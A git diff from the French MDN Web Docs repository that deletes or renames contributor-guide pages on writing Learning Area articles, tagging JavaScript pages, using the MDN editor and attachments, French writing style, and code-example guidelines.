Objectifs :Savoir ce qu'est une URL et comprendre son rôle sur le Web.
- -

 

- -
-
Prérequis
-
Que doit déjà savoir le lecteur pour comprendre l'article ? Lorsque c'est possible, faites de chaque prérequis un lien vers un autre article du domaine d'apprentissage couvrant le concept (à moins qu'il ne s'agisse d'un article vraiment élémentaire qui n'exige aucune connaissance préalable).
-
Objectifs
-
Cette section décrit brièvement ce que le lecteur apprendra à la lecture de cet article. C'est un peu différent du résumé en deux lignes ; ce dernier est le condensé du sujet de l'article, tandis que les objectifs précisent ce que le lecteur peut s'attendre à apprendre à la lecture de l'article.
-
- -
-

Note : Pour créer ce tableau, vous pouvez, soit faire un copier‑coller de l'exemple ci-dessus, soit utiliser l'outil table de l'éditeur du MDN. Si vous choisissez d'utiliser l'outil table, vous devez spécifiquement ajouter la classe CSS learn‑box en plus de la classe standard‑table par défaut. Pour ce faire, lorsque vous créez ou modifiez les propriétés de la table, allez dans le panneau "Avancé" et réglez le champ Stylesheet Classes sur « standard‑table learn‑box ».

-
- -

Étape n° 3 : écrire la description complète

- -

Rédigez ensuite une description plus verbeuse donnant un aperçu plus complet de l'article et en soulignant les concepts les plus importants. N'oubliez pas d'expliquer pourquoi le lecteur doit prendre le temps d'apprendre ce sujet et de lire votre article !

- -

Étape n° 4 : approfondir

- -

Quand vous en avez fini avec tout cela, vous pouvez enfin approfondir le sujet. Vous pouvez structurer cette partie de votre article comme vous l'entendez (n'hésitez pas à consulter notre guide de style). C'est votre chance de briller ! Expliquez en détail ce à propos de quoi vous écrivez. Fournissez des liens vers la documentation de référence complète, expliquez en détail le fonctionnement de la technologie, fournissez des détails sur la syntaxe et l'utilisation, et ainsi de suite. C'est à vous de décider !

- -

Pour vous guider, voici quelques astuces de rédaction pour les débutants :

- -
    -
  • -

    Ne traitez qu'un seul sujet. Si vous pensez qu'il est nécessaire de parler d'autres sujets, cela signifie soit qu'il manque un prérequis, soit qu'il faut diviser votre article en plusieurs articles.

    -
    • -
  • Utilisez un anglais simple. Évitez les termes techniques lorsque vous le pouvez ou, au minimum, définissez-les et, le cas échéant, établissez un lien vers les entrées correspondantes du glossaire.
    • -
  • Incluez des exemples simples pour faciliter la compréhension des concepts théoriques. Beaucoup de personnes apprennent mieux par l'exemple. Plutôt que d'écrire des articles académiques, nous voulons que les débutants comprennent facilement le texte.
    • -
  • Les aides visuelles peuvent souvent faciliter la compréhension ; elles portent des informations supplémentaires, alors n'hésitez pas à utiliser des images, des diagrammes, des vidéos et des tableaux. Si vous utilisez des diagrammes ou des graphiques contenant du texte, nous vous incitons à utiliser {{Glossary("SVG")}} pour que nos équipes de traducteurs puissent transcrire les éléments textuels dans les autres langues.
    • -
- -

Jetez un coup d'œil aux premières sections de l'article Fonctions - blocs de code réutilisables pour quelques bonnes descriptions.

- -

Étape n° 5 : fournir du matériau pour un « apprentissage actif »

- -

Pour illustrer l'article et aider le lecteur à mieux saisir ce qu'il apprend, faites en sorte de pourvoir des exercices, des tutoriels et des tâches à accomplir. En demandant au lecteur d'utiliser et d'expérimenter activement et de façon pratique les concepts expliqués dans l'article, vous pouvez l'aider à « verrouiller » l'information dans sa tête.

- -

Vous pouvez choisir d'incorporer les exemples directement dans la page en tant qu'exemples directs ou établir un lien sur eux s'ils ne fonctionnent pas sous la forme précédente. Si vous êtes intéressés par la création de ces éléments de forte valeur, veuillez lire l'article Créer un exercice interactif pour faciliter l'apprentissage du Web.

- -

Si vous ne pouvez pas fournir de liens vers du matériel d'apprentissage actif existant (vous n'en connaissez pas ou n'avez pas le temps de les créer), vous devriez ajouter une ancre {{Tag("NeedsActiveLearning")}} à l'article. De cette façon, d'autres contributeurs peuvent trouver des articles nécessitant du matériel d'apprentissage actif et peut-être vous aider à les trouver.

- -

Voyez Apprentissage actif : selection des divers éléments dans le cas d'un exercice d'apprentissage actif ou Apprentissage actif : jouer dans la portée pour un autre style d'exercices : il consiste à faire télécharger localement un canevas et le modifier en suivant des étapes préétablies.

- -

Étape n° 6 : faire revoir l'article et le mettre au menu de l'Espace d'Apprentissage

- -

Après avoir écrit l'article, faites-le nous savoir pour que nous puissions en faire la revue et suggérer des améliorations. Encore une fois, voyez notre section Nous contacter pour connaître les meilleures façons d'entrer en contact.

- -

Pour vraiment terminer votre article, il est nécessaire de le placer dans le menu principal de navigation de l'Espace d'Apprentissage. Ce menu est généré par la macro LearnSidebar : vous aurez besoin de privilèges spéciaux pour la modifier, donc, encore une fois, parlez en à l'une de nos équipes pour qu'il y soit ajouté.

- -

Enfin, vous devriez ajouter l'accès au menu dans votre page — on effectue cet ajout à l'aide d'un appel à la macro \{{LearnSidebar}}} dans un paragraphe au haut de votre page.

- -
    -
- -

Suggestions d'articles

- -

Vous souhaitez contribuer, mais vous n'êtes pas sûr du sujet à retenir ?

- -

L'équipe de l'Espace d'Apprentissage tient un  tableau Trello d'idées d'articles à écrire. Vous êtes libre d'en choisir une et de vous mettre au travail !

- -

 

- -

 

diff --git "a/files/fr/mdn/contribute/howto/\303\251tiquettes_pages_javascript/index.html" "b/files/fr/mdn/contribute/howto/\303\251tiquettes_pages_javascript/index.html" deleted file mode 100644 index 93e6a0a105..0000000000 --- "a/files/fr/mdn/contribute/howto/\303\251tiquettes_pages_javascript/index.html" +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Comment étiqueter les pages JavaScript -slug: MDN/Contribute/Howto/Étiquettes_pages_JavaScript -tags: - - Guide - - JavaScript - - MDN Meta - - Méthode -translation_of: MDN/Contribute/Howto/Tag_JavaScript_pages ---- -
{{MDNSidebar}}

L'étiquettage (Tagging) consiste à ajouter des méta-informations aux pages pour que leurs contenus puissent être groupés, par exemple dans l'outil de recherche.

- -
-
Où cela doit-il être fait ?
-
Dans les pages Javascript sans étiquettes.
-
Que devez-vous savoir pour faire cette tâche ?
-
Connaissances basiques en Javascript, comme savoir ce qu'est une méthode ou une propriété.
-
Quelles sont les étapes pour le faire ?
-
-
    -
  1. Choisissez une des pages dans la liste liée ci-dessus.
    2. -
  2. Cliquez sur le lien de l'article pour charger la page.
    3. -
  3. Une fois que la page a été chargée, cliquez sur le bouton MODIFIER près du haut : cela vous placera dans l'éditeur MDN.
    4. -
  4. Au minimum l'étiquette JavaScript devrait être ajoutée. Il y a quelques autres étiquettes possible à ajouter: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    ÉtiquetteSur quelle page l'utiliser
    Methodméthodes
    Propertypropriétés
    prototypeprototypes
    Nom du type d'objetméthodes d'objet; par exemple String.fromCharCode doit avoir l'étiquette String
    ECMAScript6 et ExperimentalNouveautés ajoutées dans la nouvelle version de l'ECMAScript
    Deprecatedfonctionnalités dépréciées (dont l'usage n'est pas encouragé mais qui reste supporté)
    Obsoletefonctionnalités obsolètes (lesquelles ne sont plus supportée dans les navigateurs modernes)
    autresVoir MDN tagging standards pour d'autres étiquettes possibles à appliquer
    -
    5. -
  5. Sauvegardez avec un commentaire.
    6. -
  6. Vous avez terminé !
    7. -
-
-
- -

 

diff --git a/files/fr/mdn/editor/basics/index.html b/files/fr/mdn/editor/basics/index.html deleted file mode 100644 index 4fda34d601..0000000000 --- a/files/fr/mdn/editor/basics/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Editor UI elements -slug: MDN/Editor/Basics -tags: - - Beginner - - Documentation - - Guide - - MDN - - MDN Meta - - NeedsTranslation - - TopicStub - - editor -translation_of: MDN/Editor/Basics ---- -
{{MDNSidebar}}
- -

L'éditeur WYSIWYG intégré sur MDN est conçu pour rendre aussi facile que possible la création, la modification et l'amélioration d'articles et d'autres pages presque partout sur le site. La fenêtre de l'éditeur, illustrée ci-dessous, se compose de huit zones clés. Ce guide fournit des informations sur chaque section afin que vous sachiez comment utiliser l'ensemble de notre environnement d'édition.

- -
-

Nous travaillons constamment sur des améliorations à MDN, il y aura donc des moments où cette documentation ou les captures d'écran ci-dessous peuvent être légèrement obsolètes. Cependant, nous mettrons régulièrement à jour cette documentation pour éviter qu'elle ne soit anormalement en retard.

-
- -

Screenshot of the editor UI (August 2017) with each section labeled

- -

L'interface utilisateur de l'éditeur contient les sections suivantes, comme indiqué ci-dessus. Cliquez sur un lien ci-dessous pour en savoir plus sur cette section de l'éditeur.

- - - -

Edit box

- -

The edit box is, of course, where you actually do your writing.

- -

Right-clicking in the editor box offers appropriate additional options depending on the context of your click: right-clicking in a table offers table-related options and right-clicking in a list offers list-related options, for example. By default, the editor uses its own contextual menu when you right-click on the editor. To access your browser's default contextual menu (such as to access the Firefox spell checker's list of suggested corrections), hold down the Shift or Control key (the Command key on Mac OS X) while clicking.

- -

When working in the edit box, you can use its keyboard shortcuts.

- -

Revision comment

- -

After you've made your changes, it's strongly recommended you add a comment to your revision. This is displayed in the revision history for the page, as well as on the Revision Dashboard. It helps to explain or justify your changes to others that may review your work later. To add a revision comment, simply type the note into the revision comment box before clicking either of the Publish buttons at the top or bottom of the page.

- -

There are a few reasons this is helpful:

- -
    -
  • If the reason for your change isn't obvious, your note can explain the reasoning to others.
    • -
  • If your change is technically complex, it can explain to editors the logic behind it; this can include a bug number, for example, that editors can refer to for more information.
    • -
  • If your edit involves deleting a large amount of content, you can justify the deletion (for example, "I moved this content to article X").
    • -
- -

Review requests

- -

The MDN community uses reviews to try to monitor and improve the quality of MDN's content. This works by setting a flag on an article indicating that a review is needed. You can learn more about technical reviews and editorial review in the How to guides.

- -

To request a review on the article you've worked on, toggle on the checkbox next to the type of review that's needed. Technical reviews should be requested any time you make changes to the explanation of how something technical works, while editorial reviews are a good idea when you've made changes and would like someone to review your writing and style choices.

- -

While selecting a review checkbox adds the article to the lists of those needing technical review or needing editorial review, it does not guarantee that anyone will immediately review the article. For technical reviews, it's a good idea to directly contact a subject-matter expert in the relevant technical area. For editorial reviews, you can post in the MDN discussion forum to request that someone review your changes.

- -

Be sure to click one of the Publish buttons after making your selections, to commit your review request.

- -

Voir aussi

- - - - diff --git a/files/fr/mdn/editor/basics/pieces_jointes/index.html b/files/fr/mdn/editor/basics/pieces_jointes/index.html deleted file mode 100644 index ad2c850716..0000000000 --- a/files/fr/mdn/editor/basics/pieces_jointes/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Les pièces jointes dans l’éditeur MDN -slug: MDN/Editor/Basics/Pieces_jointes -tags: - - Débutant - - Guide -translation_of: MDN/Editor/Basics/Attachments ---- -
{{MDNSidebar}}
- -

La section « Pièces jointes » de l’éditeur MDN vous permet de déposer des fichiers sur MDN pour les utiliser dans le contenu MDN, ainsi que visualiser quels fichiers sont utilisés dans le document en cours.

- -
-

Cette section n’est visible (en bas de page) uniquement si vous avez les permissions requises pour adjoindre des fichiers aux pages. Les utilisateurs n’obtiennent pas cette permission par défaut, donc si vous en avez besoin prenez contact avec les administrateurs MDN pour demander (en anglais) cette permission.

-
- -

La section « Pièces jointes » n’est de plus visible que lors de l’édition d’un article existant. Elle n’apparaît pas dans l’éditeur pour un nouvel article.

- -

Démarche pour les pièces jointes

- -

La façon dont fonctionne le dépôt de fichiers a pour effet de rafraîchir la page à chaque dépôt. Si vous avez réalisé des modifications non sauvegardées à ce moment-là, elles pourront être perdues. C’est donc une bonne idée de sauvegarder vos modifications en cours préalablement au dépôt de fichiers.

- -

Une bonne démarche est donc la suivante :

- -
    -
  1. Faites vos modifications, en insérant des textes bouche-trous aux emplacements où vous voulez insérer des images ;
    2. -
  2. Sauvegardez vos modifications ;
    3. -
  3. Adjoindre vos images ;
    4. -
  4. Insérez les images à la place des bouche-trous ;
    5. -
  5. Sauvegardez votre travail à nouveau par sécurité.
    6. -
- -

Si vous avez des modifications non publiées quand vous déposez une pièce jointe, elles peuvent avoir été sauvegardées comme brouillon, que vous pouvez récupérer en cliquant sur le lien Restore draft / Récupérer le brouillon en haut de la zone d’édition. Ou vous pouvez activer Publish and Keep Editing / Publier et poursuivre l’édition avant de déposer une pièce jointe. Elles peuvent être perdues si vous les laissez en suspens trop longtemps ou si vous oubliez de les récupérer d’une façon ou d’une autre, nous vous recommandons donc la démarche ci-dessus.

- -

L’IU « Pièces jointes »

- -

Pour adjoindre une pièce jointe à une page, activez par clic ou clavier le bouton Envoyer des fichiers ; cette action a pour effet de déployer la section de dépôt de fichier qui ressemble à :

- -

Section « Pièces jointes » déployée après appui du bouton « Envoyer des fichiers », vide. Disposition en tableau avec des colonnes Fichier, Titre, Description, Commentaires avec champs correspondants, vides. Suivi d’un bouton Upload / Dépôt.

- -

Comme vous pouvez le voir, cette section se présente sous forme d’un tableau qui vous permet de sélectionner un fichier puis lui donner un intitulé, et éventuellement fournir une description et un commentaire éditorial. Quand les champs sont remplis et que vous avez sélectionné votre fichier, activez par clic ou clavier le bouton Upload / Déposer pour l’envoyer sur MDN.

- -

Le cas d’utilisation le plus commun pour les pièces jointes est d’ajouter des images à des pages. Quand vous déposez une image, assurez-vous s’il vous plaît d’utiliser un outil d’optimisation pour rendre le fichier le plus léger à télécharger que possible. Cela améliore le temps de chargement de la page et augmente globalement la performance de MDN. Vous pouvez utiliser votre outil préféré, si vous en avez un. Sinon nous vous suggérons d’utiliser TinyPNG, en tant qu’outil convivial.

- -
-

Seule une sélection de formats de fichiers est autorisée comme pièces jointes sur MDN : GIF, JPEG, PNG, et HTML. Les images Photoshop sont autorisées mais devraient être évitées à part dans des cas très particuliers. Tout autre format de fichier est interdit par le formulaire de dépôt. Déposer des fichiers SVG nécessite une autorisation particulière, par conséquent contactez l’équipe rédactionnelle MDN (en anglais) si vous avez besoin de déposer un fichier SVG.

-
- -

Sentez-vous libre d’ouvrir cette page-ci dans l’éditeur et d’aller jeter un coup d’œil en bas de page à sa liste de pièces jointes pour vous faire une idée.

- -

Une fois qu’un fichier a été joint, il apparaîtra (par le titre que vous lui avez affecté dans le formulaire de dépôt) dans la boite de dialogue Propriétés de l’image quand vous ajoutez une image à une page. Voir la page MDN Images (en anglais) pour les détails de cette interface.

- -

Restrictions d’accès

- -

Il y a un potentiel évident de vandalisme et de pollution en déposant des images qui ne relèvent pas de MDN Web Docs, et par conséquent cet outil n’est pas disponible pour tous les utilisateurs.

- -

Rôles qui possède cette capacité

- - - -

Conditions pour obtenir cette capacité

- -

Vous pouvez obtenir un accès à cet outil si vous réunissez ces conditions :

- -
    -
  • Vous en avez un besoin récurrent (p. ex. si vous êtes en train de travailler activement sur un ensemble de pages qui ont besoin d’images en pièces jointes). Si vous n’avez qu’un besoin ponctuel, demandez à un administrateur de réaliser l’opération pour vous ;
    • -
  • Vous modifiez MDN régulièrement, et vous avez un palmarès de contributions utiles.
    • -
- -

Voir Demander une élévation de droits (en) pour le processus d’attribution de cette capacité.

diff --git a/files/fr/mdn/editor/index.html b/files/fr/mdn/editor/index.html deleted file mode 100644 index 89f9382092..0000000000 --- a/files/fr/mdn/editor/index.html +++ /dev/null @@ -1,226 +0,0 @@ ---- -title: Guide du rédacteur -slug: MDN/Editor -tags: - - Projet_MDC -translation_of: MDN/Editor ---- -

{{MDNSidebar}}

- -

Ce guide du rédacteur est une référence de style pour le Mozilla Developer Center. Il est conçu pour être un ensemble sympathique de bonnes pratiques plutôt qu’une liste de règles stricte, tout ce qui s’y trouve peut donc être ignoré. Ne soyez pas mécontent ou surpris, par contre, si un autre contributeur arrive par la suite avec ses gros sabots et retravaille votre article pour s’y conformer de plus près.

- -

Naturellement, ce guide s’applique principalement à la traduction française du wiki MDC en anglais. Les traductions dans les autres langues peuvent (et sont encouragées à) avoir leurs propres règles.

- -

Guides de style recommandés

- -

Si vous avez des questions concernant l’usage et le style non traitées ici, nous recommandons la consultation du Guide stylistique de Sun. Vous trouverez d’autres guides sur la page qui leur est consacrée sur traduc.org.

- -

Dictionnaires recommandés

- -

Pour des questions d’orthographe, outre les dictionnaires papier classiques, vous pouvez vous référer au Grand dictionnaire terminologique de l’OQLF pour les termes techniques, et WordReference pour les autres mots.

- -

Vous pouvez utiliser l’ancienne ou la nouvelle orthographe, mais essayez de garder la même au sein du même article (ou de la même série d’articles). Utilisez par exemple « évènement » dans la Référence du DOM Gecko. Utilisez toujours des accents sur les majuscules, un mauvais clavier n’est pas une excuse (le correcteur orthographique intégré à Firefox pourra vous y aider).

- -

Ce guide sera complété au cours du temps, si vous avez des questions particulières qui n’y sont pas traitées, envoyez-les à la liste de discussion ou sur la page de discussion associée à ce guide.

- -

Nommage des pages et capitalisation des titres

- -
    -
  • Les noms de page et de section doivent simplement commencer par une majuscule (au premier mot et sur les noms propres) plutôt que de mettre une majuscule à chaque mot : -
      -
    • Correct : « Une nouvelle méthode pour les rollovers JavaScript »
      • -
    • Incorrect : « Une Nouvelle Méthode pour les Rollovers JavaScript »
      • -
    -
    • -
- -

Abréviations latines

- -

Dans les notes et parenthèses

- -
    -
  • Seule l’abréviation et cætera (etc.) doit être utilisée dans les parenthèses et dans les notes. Elle doit toujours se terminer par un seul point. N’utilisez pas les autres abréviations latines (i.e., e.g.) qui ne sont pas comprises par tout le monde ou pas toujours identifiée comme d’origine latine. Utilisez plutôt « comme », « par exemple », « c.-à-d. ». - -
      -
    • Correct : Les applications Gecko (Firefox, Thunderbird, etc.) peuvent être utilisées …
      • -
    • Incorrect : Les applications Gecko (Firefox, Thunderbird, etc…) peuvent être utilisées …
      • -
    • Correct : Les navigateurs Gecko (comme Firefox) peuvent être utilisés …
      • -
    • Incorrect : Les navigateurs Gecko (e.g. Firefox) peuvent être utilisés …
      • -
    -
    • -
- -

Dans le texte principal

- -
    -
  • Dans le texte principal (c.-à-d. en dehors des notes et des parenthèses, utilisez un équivalent français complet de ce que désignent ces abréviations. -
      -
    • Correct : … pour les navigateurs et d’autres applications.
      • -
    • Incorrect : … pour les navigateurs, etc.
      • -
    • Correct : les navigateurs comme Firefox peuvent être utilisés …
      • -
    • Incorrect : les navigateurs e.g. Firefox peuvent être utilisés …
      • -
    -
    • -
- -

Signification et équivalents des abréviations latines

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Abrév.LatinFrançais
cf.confervoir
e.g.exempli gratiapar exemple
et al.et aliiet autres
etc.et cæteraet ainsi de suite
i.e.id estc.-à-d., c’est-à-dire, en d’autres mots
N.B.nota beneNotez que…
P.S.post scriptumécrit après
- -

N.B. Beaucoup de gens confondent « e.g. » avec « i.e. », ne les utilisez donc pas en français.

- -

Acronymes et abréviations

- -

Majuscules et points

- -
    -
  • Utilisez des capitales et ne mettez pas les points pour tous les acronymes et abréviations, donc les organisations comme l’ONU. -
      -
    • Correct : XUL
      • -
    • Incorrect : X.U.L. ; Xul
      • -
    -
    • -
- -

Expansion

- -
    -
  • À la première mention d’un terme sur une page, introduisez son expansion entre parenthèses, puis sa traduction en français. -
      -
    • Correct : « XUL (XML User Interface Language) est le langage XML d’interface utilisateur de Mozilla… »
      • -
    • Incorrect : « XUL est le langage XML d’interface utilisateur de Mozilla… »
      • -
    -
    • -
- -
Exceptions
- -
    -
  • Ne dépliez les acronymes que s’ils ne sont pas supposés familiers du lecteur. En cas de doute, faites l’expansion ou, mieux, faites un lien vers l’article décrivant la technologie.
    • -
- -

Pluriels d'acronymes ou d'abréviations

- -
    -
  • N’ajoutez aucun s pour accorder un acronyme ou une abréviation au pluriel (à moins qu’elle soit lexicalisée en un nom commun connu et défini dans les dictionnaires usuels, le plus souvent avec une orthographe modifiée où s’insèrent des voyelles supplémentaires prononçables et transcrites, et qui peut alors être écrit entièrement en minuscules et s’accorder normalement, mais le plus souvent cet usage n’est pas clairement établi et cette transcription est à éviter s’il ne s’agit que d’une transcription phonétique lettre par lettre de l’abréviation et sans racines étymologiques). - -
      -
    • Correct : des CD-ROM
      • -
    • Éviter : des cédéroms
      • -
    • Incorrect : des CD-ROMs
      • -
    • Incorrect : des CD-ROM's
      • -
    -
    • -
- -

Pluriels

- -
    -
  • Utilisez les pluriels francisés, pas les formes héritées ou influencées par le latin ou le grec, et conservez au pluriel les accents de francisation. -
      -
    • Correct : des syllabus, des scénarios, des alinéas, des folios
      • -
    • Incorrect : des syllabi, des scénarii, des alinéæ, des folii
      • -
    -
    • -
- -

Nombres

- -

Dates

- -
    -
  • Pour les dates (n’incluant pas les dates dans les codes d’exemples) utilisez le format : 1er janvier 1990. -
      -
    • Correct : 24 février 2006
      • -
    • Incorrect : 24 Février 2006 ; 24/02/2006
      • -
    -
    • -
- -
    -
  • Vous pouvez également utiliser le format ISO AAAA-MM-JJ. -
      -
    • Correct : 2006-02-24
      • -
    • Incorrect : 02/24/2006 ; 24/02/2006 ; 02/24/06
      • -
    -
    • -
- -

Séparateurs de milliers et virgules

- -
    -
  • Utilisez des espaces pour séparer les milliers de plus de quatre chiffres et non des points ou des virgules. -
      -
    • Correct : 4000 ; 54 000
      • -
    • Incorrect : 4,000 ; 4 000 ; 54000
      • -
    -
    • -
  • Utilisez la virgule pour séparer la partie décimale d’un nombre, sauf dans les exemples de code.
    • -
- -

Ponctuation

- -

Espaces et ponctuation

- -
    -
  • Utilisez une espace (de préférence insécable) avant les signes de ponctuation haute (« : », « ; », « ! », « ? »), ainsi qu’après l’ouverture et avant la fermeture des guillemets français (en chevrons). Idéalement il faudrait une espace fine (&thinsp;) et de préférence insécable (&nnbsp; ou &#x202F;) mais celles-ci ne s’affichent pas correctement sur tous les systèmes.
    • -
  • Ne mettez aucune espace avant une virgule ou un point, ni avant la fermeture des parenthèses, crochets ou accolades, mais après. Faites le contraire pour l’ouverture des parenthèses, crochets ou accolades.
    • -
- -

Virgules et énumérations

- -
    -
  • N'utilisez pas de virgule avant un « et » en fin d'énumération. -
      -
    • Correct : Nous utiliserons des trains, des avions et des automobiles.
      • -
    • Incorrect : Nous utiliserons des trains, des avions, et des automobiles.
      • -
    -
    • -
- -

Autres ressources

- -

Si vous connaissez d’autres ressources, n’hésitez pas à les ajouter ici.

diff --git a/files/fr/mdn/guidelines/code_guidelines/index.html b/files/fr/mdn/guidelines/code_guidelines/index.html new file mode 100644 index 0000000000..325b4fcb88 --- /dev/null +++ b/files/fr/mdn/guidelines/code_guidelines/index.html @@ -0,0 +1,77 @@ +--- +title: Guide des lignes directrices +slug: MDN/Guidelines/Code_lignesdirectrices +tags: + - CSS + - Code + - Guide + - HTML + - JavaScript + - MDN Meta + - Shell +translation_of: MDN/Guidelines/Code_guidelines +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/fr/docs/MDN")}}
+ +
+

Cette série de documents décrit les directives de codage et les meilleures pratiques que nous utilisons pour écrire des démonstrations, des extraits de code, des exemples interactifs, etc. à utiliser sur MDN.

+ +

Si vous cherchez des lignes directrices à suivre pour rédiger vos exemples de codes, vous êtes au bon endroit. Le plus grand avantage de respecter ces directives est qu'elles favoriseront la cohérence entre nos échantillons et nos démos sur MDN, ce qui augmente la lisibilité et la compréhension en général.

+
+ +
+

Note: Si vous souhaitez obtenir des conseils sur le style du code tel qu'il apparaît sur un article de MDN, plutôt que sur le contenu du code, consultez notre Guide de formatage.

+
+ +

Structure de l'article

+ +

Cet article contient les meilleures pratiques générales de haut niveau pour la rédaction d'exemples de codes MDN. Ses sous-articles sont les suivants :

+ + + +

Meilleures pratiques générales

+ +

Cette section fournit rapidement les meilleures pratiques générales pour créer un échantillon de code minimal compréhensible afin de démontrer l'utilisation d'une caractéristique ou d'une fonction spécifique.

+ +

Les échantillons de code doivent l'être :

+ +
    +
  • assez simple pour être compréhensible, mais
    • +
  • suffisamment complexe pour faire quelque chose d'intéressant, et de préférence utile.
    • +
+ +

Il y a une considération primordiale que vous devez garder à l'esprit : Les lecteurs copieront et colleront l'échantillon de code dans leur propre code, et pourront le mettre en production.

+ +

Par conséquent, vous devez vous assurer que l'exemple de code est utilisable et suit les meilleures pratiques généralement acceptées, et ne fait rien qui puisse rendre une application peu sûre, grossièrement inefficace, gonflée ou inaccessible. Si l'exemple de code n'est pas utilisable ou ne vaut pas la peine d'être produit, veillez à inclure un avertissement dans un commentaire de code et dans le texte explicatif — s'il s'agit d'un extrait et non d'un exemple complet, précisez-le clairement. Cela signifie également que vous devez fournir toutes les informations nécessaires à l'exécution de l'exemple, y compris les dépendances et la configuration.

+ +

Les échantillons de code doivent être aussi autonomes et faciles à comprendre que possible. L'objectif n'est pas nécessairement de produire un code efficace et intelligent qui impressionne les experts et possède une grande fonctionnalité, mais plutôt de produire des exemples de travail réduits qui peuvent être compris le plus rapidement possible.

+ +
    +
+ +
Lignes directrices :
+ +
+ +
+
    +
  • L'échantillon doit être court et, dans l'idéal, ne montrer que l'élément qui vous intéresse immédiatement.
    • +
  • N'incluez que le code qui est essentiel pour l'exemple. Une grande quantité de code non pertinent peut facilement distraire ou embrouiller le public. Si vous souhaitez fournir un exemple complet et plus long, placez-le dans l'un de nos dépôts Github (ou un JSBin, Codepen ou similaire) et fournissez ensuite le lien vers la version complète au-dessus ou au-dessous de l'exemple.
    • +
  • N'incluez pas de code inutile côté serveur, de bibliothèques, de cadres, de préprocesseurs et d'autres dépendances de ce type — ils rendent le code moins portable et plus difficile à exécuter et à comprendre. Utilisez du code "vanilla" lorsque c'est possible.
    • +
  • Ne supposez pas que vous connaissez des bibliothèques, des cadres, des préprocesseurs ou d'autres caractéristiques non natives. Par exemple, utilisez des noms de classe qui ont un sens dans l'exemple plutôt que des noms de classe qui ont un sens pour les utilisateurs de BEM ou de Bootstrap.
    • +
  • Écrivez votre code de la façon la plus propre et la plus compréhensible possible, même si ce n'est pas la façon la plus efficace de le faire.
    • +
  • N'utilisez pas de mauvaises pratiques par souci de brièveté (comme les éléments de présentation tels que {{HTMLElement("big")}} ou {{domxref("Document.write", "document.write()")}}); faites-le correctement.
    • +
  • Dans le cas de démonstrations d'API, si vous utilisez plusieurs API ensemble, indiquez quelles API sont incluses et quelles fonctionnalités proviennent d'où.
    • +
+
+ +
    +
diff --git a/files/fr/mdn/guidelines/code_lignesdirectrices/index.html b/files/fr/mdn/guidelines/code_lignesdirectrices/index.html deleted file mode 100644 index 325b4fcb88..0000000000 --- a/files/fr/mdn/guidelines/code_lignesdirectrices/index.html +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Guide des lignes directrices -slug: MDN/Guidelines/Code_lignesdirectrices -tags: - - CSS - - Code - - Guide - - HTML - - JavaScript - - MDN Meta - - Shell -translation_of: MDN/Guidelines/Code_guidelines ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/fr/docs/MDN")}}
- -
-

Cette série de documents décrit les directives de codage et les meilleures pratiques que nous utilisons pour écrire des démonstrations, des extraits de code, des exemples interactifs, etc. à utiliser sur MDN.

- -

Si vous cherchez des lignes directrices à suivre pour rédiger vos exemples de codes, vous êtes au bon endroit. Le plus grand avantage de respecter ces directives est qu'elles favoriseront la cohérence entre nos échantillons et nos démos sur MDN, ce qui augmente la lisibilité et la compréhension en général.

-
- -
-

Note: Si vous souhaitez obtenir des conseils sur le style du code tel qu'il apparaît sur un article de MDN, plutôt que sur le contenu du code, consultez notre Guide de formatage.

-
- -

Structure de l'article

- -

Cet article contient les meilleures pratiques générales de haut niveau pour la rédaction d'exemples de codes MDN. Ses sous-articles sont les suivants :

- - - -

Meilleures pratiques générales

- -

Cette section fournit rapidement les meilleures pratiques générales pour créer un échantillon de code minimal compréhensible afin de démontrer l'utilisation d'une caractéristique ou d'une fonction spécifique.

- -

Les échantillons de code doivent l'être :

- -
    -
  • assez simple pour être compréhensible, mais
    • -
  • suffisamment complexe pour faire quelque chose d'intéressant, et de préférence utile.
    • -
- -

Il y a une considération primordiale que vous devez garder à l'esprit : Les lecteurs copieront et colleront l'échantillon de code dans leur propre code, et pourront le mettre en production.

- -

Par conséquent, vous devez vous assurer que l'exemple de code est utilisable et suit les meilleures pratiques généralement acceptées, et ne fait rien qui puisse rendre une application peu sûre, grossièrement inefficace, gonflée ou inaccessible. Si l'exemple de code n'est pas utilisable ou ne vaut pas la peine d'être produit, veillez à inclure un avertissement dans un commentaire de code et dans le texte explicatif — s'il s'agit d'un extrait et non d'un exemple complet, précisez-le clairement. Cela signifie également que vous devez fournir toutes les informations nécessaires à l'exécution de l'exemple, y compris les dépendances et la configuration.

- -

Les échantillons de code doivent être aussi autonomes et faciles à comprendre que possible. L'objectif n'est pas nécessairement de produire un code efficace et intelligent qui impressionne les experts et possède une grande fonctionnalité, mais plutôt de produire des exemples de travail réduits qui peuvent être compris le plus rapidement possible.

- -
    -
- -
Lignes directrices :
- -
- -
-
    -
  • L'échantillon doit être court et, dans l'idéal, ne montrer que l'élément qui vous intéresse immédiatement.
    • -
  • N'incluez que le code qui est essentiel pour l'exemple. Une grande quantité de code non pertinent peut facilement distraire ou embrouiller le public. Si vous souhaitez fournir un exemple complet et plus long, placez-le dans l'un de nos dépôts Github (ou un JSBin, Codepen ou similaire) et fournissez ensuite le lien vers la version complète au-dessus ou au-dessous de l'exemple.
    • -
  • N'incluez pas de code inutile côté serveur, de bibliothèques, de cadres, de préprocesseurs et d'autres dépendances de ce type — ils rendent le code moins portable et plus difficile à exécuter et à comprendre. Utilisez du code "vanilla" lorsque c'est possible.
    • -
  • Ne supposez pas que vous connaissez des bibliothèques, des cadres, des préprocesseurs ou d'autres caractéristiques non natives. Par exemple, utilisez des noms de classe qui ont un sens dans l'exemple plutôt que des noms de classe qui ont un sens pour les utilisateurs de BEM ou de Bootstrap.
    • -
  • Écrivez votre code de la façon la plus propre et la plus compréhensible possible, même si ce n'est pas la façon la plus efficace de le faire.
    • -
  • N'utilisez pas de mauvaises pratiques par souci de brièveté (comme les éléments de présentation tels que {{HTMLElement("big")}} ou {{domxref("Document.write", "document.write()")}}); faites-le correctement.
    • -
  • Dans le cas de démonstrations d'API, si vous utilisez plusieurs API ensemble, indiquez quelles API sont incluses et quelles fonctionnalités proviennent d'où.
    • -
-
- -
    -
